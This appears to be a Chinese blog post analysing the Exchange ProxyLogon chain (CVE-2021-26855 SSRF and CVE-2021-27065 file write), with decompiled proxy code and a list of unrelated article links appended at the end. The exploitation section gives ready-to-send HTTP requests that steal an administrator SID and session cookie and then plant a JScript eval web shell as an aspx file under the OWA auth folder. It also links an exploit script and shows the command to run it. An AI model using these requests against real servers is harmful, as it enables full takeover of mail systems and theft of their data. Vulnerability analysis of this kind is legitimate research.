Exchange ProxyLogon漏洞分析
Exchange ProxyLogon漏洞分析
前言
续前文继续学习Exchange漏洞
Proxyshell
影响范围
Exchange Server 2019 < 15.02.0792.010
Exchange Server 2019 < 15.02.0721.013
Exchange Server 2016 < 15.01.2106.013
Exchange Server 2013 < 15.00.1497.012
攻击流程
1、 通过SSRF漏洞攻击,访问autodiscover.xml泄露LegacyDN信息
2、 在通过LegacyDN, 获取SID
3.、然后通过合法的SID,获取exchange的有效cookie
4.、最后通过有效的cookie,对OABVirtualDirectory对象进行恶意操作,写入一句话木马
ProxyLogon是通过利用CVE-2021-26855 SSRF 漏洞,然后使用CVE-2021-27065 任意文件写入漏洞组合进行利用。
漏洞复现
github地址:https://github.com/jeningogo/exchange-ssrf-rce/blob/main/exchange-exp.py
python .\exchange.py 192.168.0.16 administrator@klion.local
该漏洞需要一个邮箱账户
漏洞分析
Exchange使用的是cas架构,如下图
iis节点中可以看到有2个节点,一个架设在80,443 另外一个在81,444端口中。
分别是Frontend 和 Backend。这里面的一些功能也不一样。Frontend ,前端必须包含一个代理模块。代理模块从客户端获取 HTTP 请求并添加一些内部设置,然后将请求转发到后端。后端中负责解析前端请求等作用。
每个前端中的每个模块都有配有FrontEndHttpProxy模块
cd C:\Windows\System32\inetsrv
appcmd list wp
查看iis进程池,dnsdy附加进程开始调试
ProxyModule 代码如下
public class ProxyModule : IHttpModule
{
// Token: 0x17000080 RID: 128
// (get) Token: 0x0600027F RID: 639 RVA: 0x0000EE08 File Offset: 0x0000D008
// (set) Token: 0x06000280 RID: 640 RVA: 0x0000EE10 File Offset: 0x0000D010
internal PfdTracer PfdTracer { get; set; }
// Token: 0x06000281 RID: 641 RVA: 0x0000EF60 File Offset: 0x0000D160
public void Init(HttpApplication application)
{
Diagnostics.SendWatsonReportOnUnhandledException(delegate
{
LatencyTracker latencyTracker = new LatencyTracker();
latencyTracker.StartTracking(LatencyTrackerKey.ProxyModuleInitLatency, false);
ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType>((long)this.GetHashCode(), "[ProxyModule::Init]: Init called. Protocol type: {0}", HttpProxyGlobals.ProtocolType);
if (application == null)
{
string text = "[ProxyModule::Init]: ProxyModule.Init called with null HttpApplication context.";
ExTraceGlobals.BriefTracer.TraceError((long)this.GetHashCode(), text);
throw new ArgumentNullException("application", text);
}
this.PfdTracer = new PfdTracer(0, this.GetHashCode());
application.BeginRequest += this.OnBeginRequest;
application.AuthenticateRequest += this.OnAuthenticateRequest;
application.PostAuthorizeRequest += this.OnPostAuthorizeRequest;
application.PreSendRequestHeaders += this.OnPreSendRequestHeaders;
application.EndRequest += this.OnEndRequest;
ExTraceGlobals.VerboseTracer.TraceDebug<ProtocolType, long>((long)this.GetHashCode(), "[ProxyModule::Init]: Protocol type: {0}, InitLatency {1}", HttpProxyGlobals.ProtocolType, latencyTracker.GetCurrentLatency(LatencyTrackerKey.ProxyModuleInitLatency));
});
}
Microsoft.Exchange.HttpProxy.ProxyModule.Init(HttpApplication) -->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeRequest(object, EventArgs)-->
Microsoft.Exchange.HttpProxy.FbaModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.OnPostAuthorizeInternal(HttpApplication)-->
Microsoft.Exchange.HttpProxy.ProxyModule.SelectHandlerForAuthenticatedRequest(HttpContext)
if语句走入三个if分支里面去,分别来看看不同的条件和处理
if (EDiscoveryExportToolProxyRequestHandler.IsEDiscoveryExportToolProxyRequest(httpContext.Request))
public static bool IsEDiscoveryExportToolRequest(HttpRequest request)
{
string absolutePath = request.Url.AbsolutePath;
if (string.IsNullOrEmpty(absolutePath))
{
return false;
}
if (absolutePath.IndexOf("/exporttool/", StringComparison.OrdinalIgnoreCase) < 0)
{
return false;
}
EDiscoveryExportToolRequestPathHandler.EnsureRegexInit();
return EDiscoveryExportToolRequestPathHandler.applicationPathRegex.IsMatch(absolutePath);
}
该位置返回执行EDiscoveryExportToolProxyRequestHandler
第二个if条件,调用BEResourceRequestHanlder.CanHandle
方法
BEResourceRequestHanlder.GetBEResouceCookie
处代码
private static string GetBEResouceCookie(HttpRequest httpRequest)
{
string result = null;
HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
if (httpCookie != null)
{
result = httpCookie.Value;
}
return result;
}
即获取Cookie中X-BEResource
参数不为空
internal static bool IsResourceRequest(string localPath)
{
return localPath.EndsWith(Constants.ExtensionAxd, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionChromeWebApp, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionCss, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionEot, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionGif, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJpg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionJs, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtm, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionHtml, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionICO, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionManifest, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMp3, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionMSI, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionPng, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionSvg, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionTtf, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWav, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(Constants.ExtensionWoff, StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);
}
这里是对uri地址的验证,验证是否合法
/ecp/xx.(js|css|gif)等都是合法uri
Microsoft.Exchange.HttpProxy.ProxyRequestHandler -->BeginCalculateTargetBackEnd -->InternalBeginCalculateTargetBackEnd
protected override AnchorMailbox ResolveAnchorMailbox()
{
string beresouceCookie = BEResourceRequestHanlder.GetBEResouceCookie(base.ClientRequest);
if (!string.IsNullOrEmpty(beresouceCookie))
{
base.Logger.Set(HttpProxyMetadata.RoutingHint, Constants.BEResource + "-Cookie");
ExTraceGlobals.VerboseTracer.TraceDebug<string, int>((long)this.GetHashCode(), "[BEResourceRequestHanlder::ResolveAnchorMailbox]: BEResource cookie used: {0}; context {1}.", beresouceCookie, base.TraceContext);
return new ServerInfoAnchorMailbox(BackEndServer.FromString(beresouceCookie), this);
}
return base.ResolveAnchorMailbox();
}
以~
进行分割字符串,~
后面即为verison版本号
BeginProxyRequest-->GetTargetBackEndServerUrl()
protected void BeginProxyRequest(object extraData)
{
this.LogElapsedTime("E_BegProxyReq");
this.CallThreadEntranceMethod(delegate
{
lock (this.LockObject)
{
this.HttpContext.SetActivityScopeOnCurrentThread(this.Logger);
PerfCounters.IncrementMovingPercentagePerformanceCounterBase(PerfCounters.HttpProxyCountersInstance.MovingPercentageMailboxServerFailure);
try
{
Uri uri = this.GetTargetBackEndServerUrl();
...
这里还有个条件判断,如果版本大于Server.E15MinVersion
,ProxyToDownLevel
则为false。这个是一个重点之一。
判断版本号小于1941962752
版本则走入以上if逻辑代码中
1.设置HTTPS
2.Host即FQDN,xxxx.com
3.如果端口小于Server.E15MinVersion
的值,端口会被设置为443
{
UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
clientUrlForProxy.Port = 444;
if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
{
this.ProxyToDownLevel = true;
RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
clientUrlForProxy.Port = 443;
}
result = clientUrlForProxy.Uri;
}
}
this.AnchoredRoutingTarget.BackEndServer.Fqdn;
该位置的值可控,那么result的值也可控。
继续往下走逻辑来到该位置
调用this.CreateServerRequest
将uri发送给后端服务器
调用this.PrepareServerRequest(httpWebRequest);
进行身份认证。
这里返回false
调用 GenerateKerberosAuthHeader() 函数来 创建Kerberos 认证头部。这也是中间代理能够访问BackEnd Server的原因 。
ShouldBlockCurrentOAuthRequest函数里的ProxyToDownLevel是用来检查用户是否已通过身份验证;而当有请求调用BEResourceRequestHandler时,ShouldBackendRequestBeAnonymous()就会被调用。绕过认证,然后把数据包组成后发送给后端。后端响应请求,把数据返回给客户端。最后达到一个SSRF漏洞攻击的过程。
漏洞利用
这里ssrf去访问autodiscover.xml
自动配置文件的原因是因为Autodiscover(自动发现)是自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。如果用户账户是域账户且当前位于域环境中,通过自动发现功能用户无需输入任何凭证信息即可登陆邮箱。autodiscover.xml
文件中包含有LegacyDN 的值,
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Ex01.klion.local/autodiscover/autodiscover.xml?a=~1942062522;
Content-Type: text/xml
Content-Length: 375
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request>
<EMailAddress>administrator@klion.local</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request>
</Autodiscover>
需要提供一个邮箱账户,通过ssrf访问后端功能获取到LegacyDN的值。
然后使用LegacyDN,获取sid
获取完成后,使用sid获取cookie
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/proxyLogon.ecp?a=~1942062522;
Content-Type: text/xml
msExchLogonMailbox: S-1-5-20
Content-Length: 247
<r at="Negotiate" ln="john"><s>S-1-5-21-169768398-886626631-87175517-500 ·sid·</s><s a="7"
t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s
a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
文件上传
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
Content-Type: application/json;
msExchLogonMailbox: S-1-5-20
Content-Length: 168
{"filter": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 399
{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#<script language=\"JScript\" runat=\"server\"> function Page_Load(){/**/eval(Request[\"code\"],\"unsafe\");}</script> "}}}
POST /ecp/iey8.js HTTP/1.1
Host: 192.168.0.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: X-BEResource=Administrator@Ex01.klion.local:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.&a=~1942062522; ASP.NET_SessionId=2a9c5359-d808-4b32-a93e-879785d2f5aa; msExchEcpCanary=iU_fXNiJUk2W6byJKk8XN7YY04nl0NkIcoStotxe7Ha5SSqB9g0me-k3V7sTgqY5qSzuMjoPivs.
msExchLogonMailbox: S-1-5-20
Content-Type: application/json; charset=utf-8
Content-Length: 393
{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "73fff9ed-d8f5-484e-9328-5b76048abdb2"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": "\\\\127.0.0.1\\c$\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\BF2DmInPbRqNlrwT4CXo.aspx"}}}
Exchange ProxyLogon漏洞分析的更多相关文章
- Zabbix 漏洞分析
之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...
- CVE-2016-0143 漏洞分析(2016.4)
CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- CVE-2014-1767 漏洞分析(2015.1)
CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...
- CVE-2014-4115漏洞分析(2014.11)
CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- Oracle漏洞分析(tns_auth_sesskey)
p216 Oracle漏洞分析: 开启oracle: C:\oracle\product\\db_1\BIN\sqlplus.exe /nolog conn sys/mima1234 as sysdb ...
随机推荐
- go channel 概述 - 管道
概述 unix/linux OS 的一个进程的输出可以是另一个进程的输入,这些进程使用stdin与stdout设备作为通道,在进程之间传递数据. 同样的,GO中有io.Reader与io.Writer ...
- 运维笔记之yum,rpm,挂载,磁盘管理和raid详解
yum 与 rpm centos6,7 主要有rpm和yum这两种包管理软件,两种包的管理各有用处,其中最主要区别是: yum使用简单但需要联网,yum会去网上的yum包源去获取所需要的软件包.而r ...
- sql优化的8种方式
1.设置索引. MySQL索引操作:给表列创建索引: 建表时创建索引: create table t(id int,name varchar(20),index idx_name (name)); 给 ...
- SQL 父子表,显示表中每条记录所在层级
1.sqlserer 中有一张父子关系表,表结构如下: CREATE TABLE [dbo].[testparent]( [ID] [int] IDENTITY(1,1) NOT NULL, [nam ...
- 云原生应用管理,像管理手机APP一样管理企业应用
我们在使用智能手机的时候,手机APP从应用市场一键安装,安装好即点即用,当有新版本一键升级,如果不想用了长按图标删除,整个过程非常简单,小朋友都能熟练掌握.而对于企业应用,由于结构复杂.可用性要求高. ...
- 9、Redis五大数据类型---有序集合Zset(sorted set)
一.简介 zset与set异同 相同之处: 都是没有重复元素的字符串集合 不同之处: 有序集合zset的每个成员都关联了一个评分(score),这个评分(score)被用来按照从最低分到最高分的方式排 ...
- Mysql资料 Binlog
目录 一.简介 二.开启binlog及相关参数 开启 相关操作 三.查看binlog日志 使用mysqlbinlog自带查看命令法 mysql加载方式查询 四.恢复数据 五.命令参数 一.简介 MyS ...
- 服务器安装Centos7
目录 一.安装 一.安装 1.开启虚拟机后会出现以下界面 Install CentOS 7 安装CentOS 7 Test this media & install CentOS 7 测试安装 ...
- PMP合同选择
合同选择
- 显示摘要任务(Project)
<Project2016 企业项目管理实践>张会斌 董方好 编著 用熬肥的同学都知道,在熬肥的[文件]>[选项]设置中,[高级]才是最多选项设置的地方: 张同学亦如是说. 比如一个比 ...